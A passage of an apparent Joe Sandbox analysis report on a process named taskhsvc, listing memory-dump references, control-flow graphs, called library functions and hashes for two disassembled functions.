                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: strlen$memcpy$malloc$__stack_chk_failfree
                                                                                                                          • String ID: #$#$%s(): $%s:
                                                                                                                          • API String ID: 3939626693-1525097197
                                                                                                                          • Opcode ID: 04b76afb2c5bfdece148be8d2a17740f3525061e18ef100a3d48859627b8e0b4
                                                                                                                          • Instruction ID: d098084b0034b0e2007dbec1c4a14cab8ecbca9230a89a19a5b56df380f7bed9
                                                                                                                          • Opcode Fuzzy Hash: 04b76afb2c5bfdece148be8d2a17740f3525061e18ef100a3d48859627b8e0b4
                                                                                                                          • Instruction Fuzzy Hash: 88C16C74E042099FCB44DFA9C885AAEFBF1BF48314F189529E858E7315E734A881CF61
                                                                                                                          Function 00C40663 Relevance: 16.3, APIs: 6, Strings: 3, Instructions: 544COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 299 c40663-c406d5 call d39b0b * 2 call c3f729 call d35561 308 c406d7-c406e2 299->308 309 c406e9-c406f4 299->309 308->309 310 c406e4 call d48790 308->310 311 c406f6-c40701 309->311 312 c40703-c40716 call d413ee 309->312 310->309 311->312 313 c4071b-c4071f 311->313 319 c40d7b-c40d91 312->319 317 c40725-c40733 call d50a40 313->317 318 c408dd-c408e5 313->318 332 c40735-c40755 call d37969 317->332 333 c40778-c40784 317->333 321 c408e7-c408ef call d390a8 318->321 322 c40909-c40914 318->322 323 c40dc4-c40dc8 319->323 324 c40d93-c40dbf call d36562 call d39764 abort 319->324 321->322 346 c408f1-c40904 call d413ee 321->346 327 c409c9-c409cd 322->327 328 c4091a-c4092a 322->328 334 c40dd4-c40dd8 323->334 335 c40dca-c40dcf call d34a27 call c17582 323->335 324->323 329 c409d6 327->329 330 c409cf-c409d4 327->330 337 c4092c-c40958 call d36562 call d39764 abort 328->337 338 c4095d-c40970 328->338 340 c409db-c409e6 329->340 330->340 376 c40757-c4076a call d413ee 332->376 377 c4076f-c40776 332->377 349 c40786-c407b2 call d36562 call d39764 abort 333->349 350 c407b7-c407c3 333->350 347 c40dfe-c40e0e 334->347 348 c40dda-c40dde 334->348 335->334 337->338 342 c40972-c40976 338->342 343 c4097a-c40986 338->343 354 c409ec-c40a09 call d459c5 340->354 355 c409e8 340->355 342->343 358 c40995-c409af call d37ae2 343->358 359 c40988-c4098f 343->359 383 c40ec2-c40ee4 call d39b70 * 2 346->383 353 c40eb3-c40eb9 347->353 348->347 363 c40de0-c40df9 call d37969 348->363 349->350 356 c407c9-c407cd 350->356 370 c40e13-c40eaf call c08cde call d33842 call c0a631 call d36562 call c0a80c 353->370 371 c40ebf 353->371 381 c40a0e-c40a10 354->381 355->354 367 c407f7-c40822 call c50344 356->367 368 c407cf-c407d6 356->368 358->327 395 c409b1-c409c4 call d413ee 358->395 359->358 374 c40991 359->374 363->347 402 c40824-c4082b 367->402 403 c40849-c40864 time call c9a407 call c9a07d 367->403 368->367 382 c407d8-c407de call c51a28 368->382 370->353 371->383 374->358 376->319 377->356 390 c40a34-c40a38 381->390 391 c40a12-c40a2f call d36107 381->391 399 c407e3-c407f2 call c180e5 call d0a547 382->399 430 c40ee6 __stack_chk_fail 383->430 431 c40eeb-c40ef4 383->431 400 c40a85 390->400 401 c40a3a-c40a62 call d34b17 call c4b2e4 390->401 391->383 395->383 399->367 413 c40a86-c40a91 400->413 445 c40a64-c40a77 call d413ee 401->445 446 c40a7c-c40a83 401->446 410 c40831-c40844 call d413ee 402->410 411 c40d7a 402->411 448 c40866-c40880 call c0ebe4 403->448 449 c408a2-c408ad 403->449 410->411 411->319 421 c40ae4-c40ae8 413->421 422 c40a93-c40acb call d41144 call d3490c call d34268 call c17582 413->422 424 c40aef-c40b16 421->424 425 c40aea call d3470b 421->425 484 c40acd-c40ad8 free 422->484 485 c40adf call d334c5 422->485 435 c40b42-c40b4a call d35561 424->435 436 c40b18-c40b23 424->436 425->424 430->431 457 c40b64-c40b68 435->457 458 c40b4c-c40b5b call d35561 435->458 441 c40b25-c40b39 436->441 442 c40b3b 436->442 441->435 441->442 442->435 445->319 446->413 462 c40885-c40887 448->462 449->318 450 c408af-c408d8 call d33842 call c0eef2 call be1929 449->450 450->318 465 c40b79-c40b7d 457->465 466 c40b6a-c40b6e 457->466 458->457 477 c40b5d 458->477 462->449 468 c40889-c4089d call d413ee 462->468 472 c40b7f-c40b86 465->472 473 c40b88 465->473 466->465 471 c40b70-c40b77 466->471 468->319 478 c40b8f-c40b93 471->478 472->478 473->478 477->457 482 c40b95-c40bbb call d33842 478->482 483 c40bc0-c40bd0 478->483 482->483 488 c40c88-c40c8e 483->488 484->485 485->421 489 c40c94-c40c98 488->489 490 c40bd5-c40c58 call c08cde call d33842 call c0a631 488->490 491 c40ec1 489->491 492 c40c9e-c40cc3 489->492 505 c40c7d-c40c84 490->505 506 c40c5a-c40c78 call d36562 call c0a80c 490->506 491->383 494 c40cc5 492->494 495 c40ccc-c40d75 call d33842 call d3721b call c14130 492->495 494->495 495->491 505->488 506->505
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D39B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D345AC), ref: 00D39B69
                                                                                                                            • Part of subcall function 00C3F729: abort.MSVCRT ref: 00C3F776
                                                                                                                            • Part of subcall function 00C3F729: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00C3F7A7,?,?,?,?,?,00C26074), ref: 00C3F78B
                                                                                                                            • Part of subcall function 00D35561: __stack_chk_fail.LIBSSP-0 ref: 00D355CC
                                                                                                                          • time.MSVCRT ref: 00C40850
                                                                                                                            • Part of subcall function 00C51A28: abort.MSVCRT ref: 00C51A78
                                                                                                                            • Part of subcall function 00C51A28: memset.MSVCRT ref: 00C51AA4
                                                                                                                            • Part of subcall function 00C51A28: __stack_chk_fail.LIBSSP-0 ref: 00C51AE6
                                                                                                                            • Part of subcall function 00C180E5: event_new.LIBEVENT-2-0-5 ref: 00C18149
                                                                                                                            • Part of subcall function 00C180E5: abort.MSVCRT ref: 00C18190
                                                                                                                            • Part of subcall function 00C180E5: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C407F2), ref: 00C181C0
                                                                                                                            • Part of subcall function 00D0A547: abort.MSVCRT ref: 00D0A5CA
                                                                                                                            • Part of subcall function 00D0A547: event_new.LIBEVENT-2-0-5 ref: 00D0A5F7
                                                                                                                            • Part of subcall function 00D0A547: __stack_chk_fail.LIBSSP-0 ref: 00D0A635
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00C0EEF2: __stack_chk_fail.LIBSSP-0 ref: 00C0F046
                                                                                                                            • Part of subcall function 00BE1929: __stack_chk_fail.LIBSSP-0 ref: 00BE194F
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C40958
                                                                                                                          • free.MSVCRT ref: 00C40AD3
                                                                                                                            • Part of subcall function 00D34B17: abort.MSVCRT ref: 00D34B64
                                                                                                                            • Part of subcall function 00D34B17: abort.MSVCRT ref: 00D34BD4
                                                                                                                            • Part of subcall function 00D34B17: __stack_chk_fail.LIBSSP-0 ref: 00D34BF1
                                                                                                                            • Part of subcall function 00C4B2E4: __stack_chk_fail.LIBSSP-0 ref: 00C4B900
                                                                                                                            • Part of subcall function 00D413EE: abort.MSVCRT ref: 00D4143E
                                                                                                                            • Part of subcall function 00D413EE: _strdup.MSVCRT ref: 00D41449
                                                                                                                            • Part of subcall function 00D413EE: exit.MSVCRT ref: 00D4148A
                                                                                                                            • Part of subcall function 00D413EE: __stack_chk_fail.LIBSSP-0 ref: 00D4149D
                                                                                                                          • abort.MSVCRT ref: 00C40DBF
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C40EE6
                                                                                                                            • Part of subcall function 00D48790: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C406E9), ref: 00D487AC
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$event_newstrrchr$_strdupexitfreememsettime
                                                                                                                          • String ID: 0a$@$gfff
                                                                                                                          • API String ID: 3422313622-2673331478
                                                                                                                          • Opcode ID: c5754ce73d24142374abeca9eacd2a1f2639c73c693784e36464b5dd770eff53
                                                                                                                          • Instruction ID: d1739959acc277bd5aa0cd2123bb74c7dda63ac6ddd4a8870e31050b64d60346
                                                                                                                          • Opcode Fuzzy Hash: c5754ce73d24142374abeca9eacd2a1f2639c73c693784e36464b5dd770eff53
                                                                                                                          • Instruction Fuzzy Hash: FF4203B4A053059FDB10EFA9D489BADBBF0FF48304F118829E598AB352D7749944CF62
                                                                                                                          Function 00D45CFA Relevance: 15.2, APIs: 10, Instructions: 213stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 512 d45cfa-d45d44 call d41144 515 d45d46-d45d72 call d36562 call d39764 abort 512->515 516 d45d77-d45d83 512->516 515->516 518 d45d85-d45db1 call d36562 call d39764 abort 516->518 519 d45db6-d45dc8 516->519 518->519 522 d45dca-d45df6 call d36562 call d39764 abort 519->522 523 d45dfb-d45e20 call d413ee 519->523 522->523 533 d45e42-d45e7c call d36107 523->533 534 d45e22-d45e40 523->534 537 d45e7f-d45e89 533->537 534->537 540 d45e98-d45ec1 call d359c4 537->540 541 d45e8b-d45e95 537->541 544 d45ec3-d45f0a strerror call d33842 540->544 545 d45f0c-d45f10 540->545 541->540 557 d45f79-d45f81 544->557 546 d45f66-d45f74 545->546 547 d45f12-d45f22 call d36bc4 545->547 550 d46010-d46019 546->550 547->546 556 d45f24-d45f64 strerror call d33842 547->556 553 d46020-d46021 550->553 554 d4601b __stack_chk_fail 550->554 554->553 556->557 558 d45f91-d45faa 557->558 559 d45f83-d45f8c _close 557->559 561 d45fc4-d45fd3 558->561 562 d45fac-d45fbd free 558->562 559->558 564 d45fd5-d45fe5 free 561->564 565 d45feb-d45ff7 561->565 562->561 564->565 567 d45ff9-d46004 free 565->567 568 d4600b 565->568 567->568 568->550
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                          • abort.MSVCRT ref: 00D45D72
                                                                                                                            • Part of subcall function 00D36107: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C3FAF4), ref: 00D361A4
                                                                                                                            • Part of subcall function 00D36107: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C3FAF4), ref: 00D361B7
                                                                                                                          • abort.MSVCRT ref: 00D45DB1
                                                                                                                          • abort.MSVCRT ref: 00D45DF6
                                                                                                                          • strerror.MSVCRT ref: 00D45ECF
                                                                                                                          • _close.MSVCRT ref: 00D45F8C
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4601B
                                                                                                                            • Part of subcall function 00D36BC4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D45F20), ref: 00D36C12
                                                                                                                          • strerror.MSVCRT ref: 00D45F30
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • free.MSVCRT ref: 00D45FB5
                                                                                                                          • free.MSVCRT ref: 00D45FDD
                                                                                                                          • free.MSVCRT ref: 00D45FFF
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$free$strerrorstrrchr$_closememset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3670154213-0
                                                                                                                          • Opcode ID: 3609813b74f137ae6432f5a45e8e598a2be8a13e70c117211259580adeeb0f14
                                                                                                                          • Instruction ID: a0494f85fdd07fa2e2faa4388dc0e6fcd6e7366648ee8b32b0ffa16e95338a9a
                                                                                                                          • Opcode Fuzzy Hash: 3609813b74f137ae6432f5a45e8e598a2be8a13e70c117211259580adeeb0f14
                                                                                                                          • Instruction Fuzzy Hash: 89A1D4B4A047168FDB00EFA9D885AAEBBF0FF48310F058858E494AB351D778D944CF62
